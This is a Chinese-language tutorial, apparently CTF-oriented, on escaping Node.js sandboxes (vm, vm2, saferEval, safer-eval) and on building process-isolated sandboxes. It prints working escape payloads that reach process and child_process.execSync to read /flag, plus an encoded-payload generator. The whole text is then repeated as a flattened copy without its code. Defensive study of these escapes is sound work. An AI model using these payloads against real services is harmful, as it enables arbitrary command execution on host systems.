nodejs沙箱与黑魔法
字数 1171 2025-08-20 18:18:23

Node.js沙箱与黑魔法安全指南

什么是沙箱

Node.js官方文档中的vm模块可以用来创建沙箱环境执行代码,对代码的上下文环境做隔离。沙箱中的代码使用不同的V8上下文,意味着它拥有与主代码不同的全局对象。

const vm = require('vm');
vm.runInNewContext("console.log('Hello from sandbox')");

Node.js沙箱的安全性

vm模块的安全问题

尽管vm隔离了代码上下文环境,但依然可以访问标准的JS API和全局的Node.js环境,因此vm并不安全。官方文档明确警告:

"The vm module is not a security mechanism. Do not use it to run untrusted code."

危险示例

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()");
console.log("The app goes on...");  // 永远不会执行

安全改进方案

可以通过简化上下文来减少风险,只包含基本类型:

let ctx = Object.create(null);
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

vm2模块

为解决原生vm的设计缺陷,社区开发了vm2模块:

const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()'); 
// 抛出ReferenceError: process is not defined

vm2也有局限性:

  1. timeout对异步代码不起作用
  2. 可以通过重新定义Promise绕过限制

绕过示例

const { VM } = require('vm2');
const vm = new VM({ 
  timeout: 1000, 
  sandbox: { Promise: function(){}}
});
vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');

全局变量污染问题

污染示例

// a.js
function f() { alert("f() in a.js"); }
setTimeout(function() { f(); }, 1000);

// b.js
function f() { alert("f() in b.js"); }
setTimeout(function() { f(); }, 2000);

后加载的b.js会覆盖a.js中的f()函数定义。

解决方案

  1. 命名空间模式
var sxc = {};
sxc.name = { big_name: "sunxiaochuan", small_name: "sungou" };
sxc.work = { bilibili_work: "chouxiang", weibo_work: "qialanqian" };
  1. 匿名函数封装
(function(){
  var exp = {};
  var name = "aa";
  exp.method = function(){ return name; };
  window.ex = exp;
})();

JavaScript原型链污染

安全eval实现与绕过

安全eval实现

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

绕过方法

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()

完整攻击链

// 生成payload
def gen(cmd):
  s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
  return ','.join([str(ord(i)) for i in s])

// 实际攻击
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()

建立更安全的沙箱环境

进程池方案

  1. 架构设计

    • 新建进程池管理沙箱进程
    • 任务到来时创建Script实例进入pending队列
    • 返回Script实例的defer对象
    • 调用处await执行结果
  2. 调度机制

    • sandbox master根据工程进程空闲情况调度执行
    • master发送Script信息(含ScriptId)给空闲worker
    • worker执行完成后回传"结果+Script信息"
    • master通过ScriptId识别完成脚本
  3. 异常处理

    • 异步操作超时直接kill工程进程
    • master检测到进程终止后创建替补进程

数据传输机制

  1. 常规数据

    • 序列化后通过IPC传入隔离的Sandbox进程
    • 结果同样序列化通过IPC传输
  2. 方法传递

    • 将宿主方法转换为描述对象
    • 包含允许调用的方法集合
    • worker收到后建立代理方法
    • 代理方法通过IPC与master通讯

实际漏洞案例

setTimeout漏洞

Node.js文档说明:

当delay大于2147483647或小于1时,delay会被设置为1。非整数的delay会被截断为整数。

利用方式

?delay=2147483649

safer-eval库漏洞

攻击payload

{
  'e': `(function () {
    const process = clearImmediate.constructor("return process;")();
    return process.mainModule.require("child_process").execSync("cat /flag").toString()
  })()`
}

总结

  1. 原生vm模块不安全,不应直接用于执行不可信代码
  2. vm2提供了更好的隔离但仍有绕过可能
  3. 全局变量污染可通过命名空间或模块化解决
  4. 原型链污染是JavaScript特有的安全问题
  5. 最安全的沙箱方案是基于进程隔离的架构
  6. 实际应用中需注意依赖库的安全性和版本
Node.js沙箱与黑魔法安全指南 什么是沙箱 Node.js官方文档中的 vm 模块可以用来创建沙箱环境执行代码,对代码的上下文环境做隔离。沙箱中的代码使用不同的V8上下文,意味着它拥有与主代码不同的全局对象。 Node.js沙箱的安全性 vm模块的安全问题 尽管 vm 隔离了代码上下文环境,但依然可以访问标准的JS API和全局的Node.js环境,因此 vm 并不安全。官方文档明确警告: "The vm module is not a security mechanism. Do not use it to run untrusted code." 危险示例 : 安全改进方案 可以通过简化上下文来减少风险,只包含基本类型: vm2模块 为解决原生 vm 的设计缺陷,社区开发了 vm2 模块: 但 vm2 也有局限性: timeout 对异步代码不起作用 可以通过重新定义 Promise 绕过限制 绕过示例 : 全局变量污染问题 污染示例 后加载的 b.js 会覆盖 a.js 中的 f() 函数定义。 解决方案 命名空间模式 : 匿名函数封装 : JavaScript原型链污染 安全eval实现与绕过 安全eval实现 : 绕过方法 : 完整攻击链 : 建立更安全的沙箱环境 进程池方案 架构设计 : 新建进程池管理沙箱进程 任务到来时创建Script实例进入pending队列 返回Script实例的defer对象 调用处await执行结果 调度机制 : sandbox master根据工程进程空闲情况调度执行 master发送Script信息(含ScriptId)给空闲worker worker执行完成后回传"结果+Script信息" master通过ScriptId识别完成脚本 异常处理 : 异步操作超时直接kill工程进程 master检测到进程终止后创建替补进程 数据传输机制 常规数据 : 序列化后通过IPC传入隔离的Sandbox进程 结果同样序列化通过IPC传输 方法传递 : 将宿主方法转换为描述对象 包含允许调用的方法集合 worker收到后建立代理方法 代理方法通过IPC与master通讯 实际漏洞案例 setTimeout漏洞 Node.js文档说明: 当delay大于2147483647或小于1时,delay会被设置为1。非整数的delay会被截断为整数。 利用方式 : safer-eval库漏洞 攻击payload : 总结 原生 vm 模块不安全,不应直接用于执行不可信代码 vm2 提供了更好的隔离但仍有绕过可能 全局变量污染可通过命名空间或模块化解决 原型链污染是JavaScript特有的安全问题 最安全的沙箱方案是基于进程隔离的架构 实际应用中需注意依赖库的安全性和版本